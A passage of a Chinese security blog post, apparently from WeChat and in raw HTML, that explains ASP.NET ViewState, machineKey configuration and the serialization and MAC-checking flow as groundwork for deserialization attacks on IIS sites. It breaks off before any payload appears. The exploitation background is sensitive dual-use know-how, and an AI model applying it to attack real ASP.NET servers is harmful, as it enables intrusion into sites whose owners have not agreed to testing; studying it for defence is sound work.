src="https://wechat2rss.xlab.app/img-proxy/?k=da12c609&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DibQ0zdYUsUYXZHGaDVo2EH5Z83Ckf8gQr5ba9HelBGEpE58pFZDagdg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section data-role="paragraph" data-color="#59c3f9"><p><br/></p></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101258" data-color="#59c3f9"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;" hm_fix="237:214"><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-right: -2px;margin-top: -1.2px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ff460316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5D090cxZOgodcnNiav2O2nY2yzWuouQiaX0c7gVxHVSwxuicTw1iajuoTPwA%2F640%3Fwx_fmt%3Dgif"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(89, 195, 249);letter-spacing: 1.5px;word-break: break-all;padding: 5px 1em;border-width: 2px;border-style: solid;border-color: rgb(89, 195, 249);box-sizing: border-box;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;"><strong>1.背景</strong></span></section><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-left: -2px;margin-bottom: -1.1px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c614db6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DYYlWgBIoPFNVIfkdUsBdzmNz8g1bbSJkw8cjg8iaYsqIGhQOYQYOBgg%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section></section><section data-tools="135编辑器" data-id="93683"><section style="margin:5px;"><section style="margin-bottom: -15px;width: 35px;height: 35px;background-color: rgba(121, 239, 191, 0.498);box-sizing: border-box;overflow: hidden;"><br/></section><section style="margin-left: 10px;margin-bottom: -15px;width: 30px;height: 30px;background-color: rgba(87, 184, 239, 0.565);box-sizing: border-box;overflow: hidden;"><br/></section><section style="background-color: rgba(143, 227, 246, 0.43);padding: 1em 0.8em;letter-spacing: 1.5px;color: rgb(63, 63, 63);font-size: 14px;line-height: 1.75em;box-sizing: border-box;"><section><p><span style="font-size: 16px;text-align: left;caret-color: rgb(255, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">    之前的渗透项目中，遇到过一些 IIS 站点，果不其然的都用了 VIEWSTATE，但是当时对 .NET 反序列化了解不够深入，没能利用成功，借这个机会系统学习一下 .NET 反序列化相关知识，做成一些记录。</span></p></section></section><section style="margin: -15px 15px 20px auto;width: 35px;height: 35px;background-color: rgba(121, 239, 191, 0.498);box-sizing: border-box;overflow: hidden;"><br/></section><section style="margin-bottom: 20px;margin-top: -40px;margin-left: auto;width: 30px;height: 30px;background-color: rgba(86, 198, 235, 0.67);box-sizing: border-box;overflow: hidden;"><br/></section></section></section><section data-role="paragraph" data-color="#59c3f9"><p><br/></p></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101258" data-color="#59c3f9"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;" hm_fix="237:214"><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-right: -2px;margin-top: -1.2px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ff460316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5D090cxZOgodcnNiav2O2nY2yzWuouQiaX0c7gVxHVSwxuicTw1iajuoTPwA%2F640%3Fwx_fmt%3Dgif"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(89, 195, 249);letter-spacing: 1.5px;word-break: break-all;padding: 5px 1em;border-width: 2px;border-style: solid;border-color: rgb(89, 195, 249);box-sizing: border-box;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;"><strong>2.相关介绍</strong></span></section><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-left: -2px;margin-bottom: -1.1px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c614db6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DYYlWgBIoPFNVIfkdUsBdzmNz8g1bbSJkw8cjg8iaYsqIGhQOYQYOBgg%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph" data-color="#59c3f9"><p><br/></p></section><section data-tools="135编辑器" data-id="93684" data-color="#59c3f9"><section style="margin: 10px 0%;box-sizing: border-box;"><section style="min-width: 10%;max-width: 100%;vertical-align: top;border-width: 1px;border-radius: 5px;border-style: none;border-color: #59c3f9;overflow: hidden;background-color: #59c3f9;padding: 8px;box-shadow: #000000 0px 0px 0px 0px;box-sizing: border-box;color: #ffffff;"><section style="box-sizing: border-box;"><section style="min-width: 10%;max-width: 100%;vertical-align: top;background-color: #ffffff;border-style: none;border-width: 1px;border-radius: 3px;border-color: #59c3f9;box-shadow: #757575 0px 0px 4px 0px;overflow: hidden;padding: 4px 8px;box-sizing: border-box;"><section style="margin: 10px 0%;box-sizing: border-box;"><section style="padding: 1em 0.8em;letter-spacing: 1.5px;color: rgb(63, 63, 63);font-size: 14px;line-height: 1.75em;box-sizing: border-box;"><section><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;color: rgb(0, 0, 0);">2.1. VIEWSTATE机制</span></h3><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这里借来一张图：</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="343" data-backw="406" data-ratio="0.8448275862068966" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="406" src="https://wechat2rss.xlab.app/img-proxy/?k=1021a485&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DiaHY5AyegLdZiagvv1bqZ5u5b4W9sI1NF2pNscgNljW1Ql61vt8H8LKw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这里通俗的解释一下：</span><br/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">    http 协议是无状态协议，每次请求之间都是独立的，为了让客户端和服务端之间能够相互“识别”（主要是服务端对客户端的“识别”），web 应用时常会采用诸如 cookie 或类似的机制来维护一个 session ，比如服务端保存 session 的状态信息，客户端通过 cookie 等标识来告诉服务端它对应的是哪个 session。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">    ViewState 也是一种状态管理机制，只不过它的做法是在服务端将“session 状态”“序列化”，然后返回，交给客户端来保存了。具体的表现形式是：一次请求之后，服务端的返回中嵌入若干个隐藏的表单项，这些表单项的值序列化后的“session 状态”，在客户端下一次请求时，会自动带上这些表单项，服务端接收之后，反序列化对应的值就能恢复相应的“session 状态”，根据状态的不同，再做出相应的回应。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">    ViewState 的优点就在于，节省了服务端对于保存和管理 session 状态的成本，不过却带来另一个问题是 ViewState 的“控制权”移交到了客户端这里，虽然有校验和加密机制，但是仍然存在密钥泄漏的风险，一旦通过了解密和验证，就会进入反序列化的流程，也就存在被恶意利用的风险。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">我们可以在 web.config 中控制是否启用 ViewState</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">pages</span> </span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">enableViewState</span>=<span class="code-snippet__string">&#34;false&#34;</span> [<span class="code-snippet__attr">Bool</span>]</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">enableViewStateMac</span>=<span class="code-snippet__string">&#34;false&#34;</span> [<span class="code-snippet__attr">Bool</span>]</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">viewStateEncryptionMode</span>=<span class="code-snippet__string">&#34;Always&#34;</span> [<span class="code-snippet__attr">Always</span> | <span class="code-snippet__attr">Auto</span> | <span class="code-snippet__attr">Never</span>]</span></code><code><span class="code-snippet_outer">/&gt;</span></code></pre></section><p><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.2 MACHINEKEY</span></h3><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">上面说到了 ViewState 有校验和加密机制， MACHINEKEY 便是其加密、校验密钥相关的配置项。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">&lt;machineKey </span></code><code><span class="code-snippet_outer">  validationKey=<span class="code-snippet__string">&#34;AutoGenerate,IsolateApps&#34;</span> [String]</span></code><code><span class="code-snippet_outer">  decryptionKey=<span class="code-snippet__string">&#34;AutoGenerate,IsolateApps&#34;</span> [String]</span></code><code><span class="code-snippet_outer">  validation=<span class="code-snippet__string">&#34;HMACSHA256&#34;</span> [SHA1 <span class="code-snippet__params">| MD5 |</span> <span class="code-snippet__number">3</span>DES <span class="code-snippet__params">| AES |</span> HMACSHA256 <span class="code-snippet__params">| </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    HMACSHA384 |</span> HMACSHA512 <span class="code-snippet__params">| alg:algorithm_name]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">  decryption=&#34;Auto&#34; [Auto |</span> DES <span class="code-snippet__params">| 3DES |</span> AES <span class="code-snippet__params">| alg:algorithm_name]</span></span></code><code><span class="code-snippet_outer">/&gt;</span></code></pre></section></section></section></section></section></section></section></section></section><section data-role="paragraph" data-color="#59c3f9"><p><br/></p></section><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="101258" data-color="#59c3f9"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;" hm_fix="237:214"><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-right: -2px;margin-top: -1.2px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ff460316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5D090cxZOgodcnNiav2O2nY2yzWuouQiaX0c7gVxHVSwxuicTw1iajuoTPwA%2F640%3Fwx_fmt%3Dgif"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(89, 195, 249);letter-spacing: 1.5px;word-break: break-all;padding: 5px 1em;border-width: 2px;border-style: solid;border-color: rgb(89, 195, 249);box-sizing: border-box;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;"><strong>3.ViewState序列、加解密相关逻辑</strong></span></section><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-left: -2px;margin-bottom: -1.1px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c614db6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DYYlWgBIoPFNVIfkdUsBdzmNz8g1bbSJkw8cjg8iaYsqIGhQOYQYOBgg%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph" data-color="#59c3f9"><p><br/></p></section><section data-tools="135编辑器" data-id="94202" data-color="#59c3f9"><section style="box-sizing: border-box;width: 96%;margin-right: auto;margin-left: auto;" data-width="96%"><section style="border-width: 2px;border-style: solid;border-color: rgb(89, 195, 249);border-radius: 6px;background: rgb(89, 195, 249);color: rgb(255, 255, 255);"><section style="text-align: right;margin-top: -5px;margin-right: 10px;"><section style="box-sizing:border-box;display: inline-block;width: 3em;"><img data-ratio="0.2916666666666667" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="72" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=3d2bbd23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5Ds21UPXsDStc3iaMUKRJLvvfiaTou0eSM0C9VUia22y2Lq2UTJBllXu5YA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="padding: 6px;box-sizing: border-box;"><section style="border-width: 2px;border-style: solid;border-color: rgb(89, 195, 249);border-radius: 6px;background: rgb(254, 254, 254);"><section data-brushtype="text" style="text-align: center;font-size: 40px;padding: 1em;letter-spacing: 2px;box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ViewState 加密、校验的详细流程，已经有师傅做过非常深的研究，接下来将以这篇引文的研究成果作为根据来总结分析：</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">文章链接：<a href="https://paper.seebug.org/1386/" target="_blank">https://paper.seebug.org/1386/</a></span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">（文章非常详细深刻，如果对 ViewState 反序列化漏洞成因感兴趣的，建议阅读全文）</span></p></section></section></section></section></section></section><section data-role="paragraph" data-color="#59c3f9"><p><br/></p></section><section data-tools="135编辑器" data-id="93684" data-color="#59c3f9"><section style="margin: 10px 0%;box-sizing: border-box;"><section style="min-width: 10%;max-width: 100%;vertical-align: top;border-width: 1px;border-radius: 5px;border-style: none;border-color: rgb(89, 195, 249);overflow: hidden;background-color: rgb(89, 195, 249);padding: 8px;box-shadow: rgb(0, 0, 0) 0px 0px 0px 0px;box-sizing: border-box;color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="min-width: 10%;max-width: 100%;vertical-align: top;background-color: rgb(255, 255, 255);border-style: none;border-width: 1px;border-radius: 3px;border-color: rgb(89, 195, 249);box-shadow: rgb(117, 117, 117) 0px 0px 4px 0px;overflow: hidden;padding: 4px 8px;box-sizing: border-box;"><section style="margin: 10px 0%;box-sizing: border-box;"><section style="padding: 1em 0.8em;letter-spacing: 1.5px;color: rgb(63, 63, 63);font-size: 14px;line-height: 1.75em;box-sizing: border-box;"><section style="text-align: left;"><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.1. 序列化、反序列化逻辑</span></h3><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">引文中有几个要点：</span></p><ol class="list-paddingleft-2" style="list-style-type: decimal;"><li style="box-sizing: border-box;font-size: 16px;"><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 16px;">ViewState 是被动解析的，也就是说，即使在 web.config 中配置 enableViewState 为 false，ASP.NET 服务端也始终会解析来自客户端的 ViewState 参数，换言之，enableViewState 只影响 ViewState 的生成，不影响服务端对其的被动解析；</span></p></li><li style="box-sizing: border-box;font-size: 16px;"><p cid="n26" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;font-size: 16px;">.NET Framwork 4.5.2 之后，微软强制开启了 ViewState Mac 校验，这样在默认情况下，就一定需要 MachineKey 才能对 ViewState 进行利用；</span></p></li></ol><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 16px;">引文的精华是针对 Vie</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">wState 序列化、反序列化流程的详细分析，ViewState 的序列化和反序列化通过 ObjectStateFormatter 进行，在此用简陋的流程图对这一部分总结：</span><br/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">序列化：</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><p style="text-align: center;"><img class="rich_pages" data-backh="556" data-backw="524" data-ratio="1.0610211706102117" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="803" src="https://wechat2rss.xlab.app/img-proxy/?k=39b502de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DTxqNm9DqXP0T91cS42JzEVJ8iaaX0ukurJ75RQtUMGdhicTZ6AH7wbbw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">辅以文字描述：</span></p><ul class="list-paddingleft-2" cid="n30" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n32" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">EncryptOrDecryptData() 为加密、解密函数，当配置文件中开启 viewStateEncryptionMode 选项时，会进入该函数。</span></p></li><li style="box-sizing: border-box;"><p cid="n34" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">GetEncodeData() 为签名函数，因为 KB2905247 补丁的关系，默认强制开启 ViewState MAC，这里有两种方法可以关闭：1. 修改对应的注册表项；2. 在 web.config 中开启允许不安全的反序列化。关闭 EnforceViewStateMac 的基础上，web.config 中 enableViewStataeMac 才能生效。</span></p></li><li style="box-sizing: border-box;"><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">值得注意的是 EncryptOrDecryptData() 不仅会加密，同时也会签名。</span></p></li></ul><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">反序列化：</span></p><span style="display: none;line-height: 0px;">‍</span></section><p style="text-align: center;"><img class="rich_pages" data-backh="398" data-backw="441" data-ratio="0.9024943310657596" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="441" src="https://wechat2rss.xlab.app/img-proxy/?k=2bda9868&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DOUoEtj7tibIKUQruLiaUYTVcCw5DmvL5DNAKeN1RoiboC5lT7T6QvcpgQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><span style="display: none;line-height: 0px;">‍</span>（这里的 _page.EnableViewStateMac 来源同上面 “序列化” 部分，故省略）</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><p><br/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, 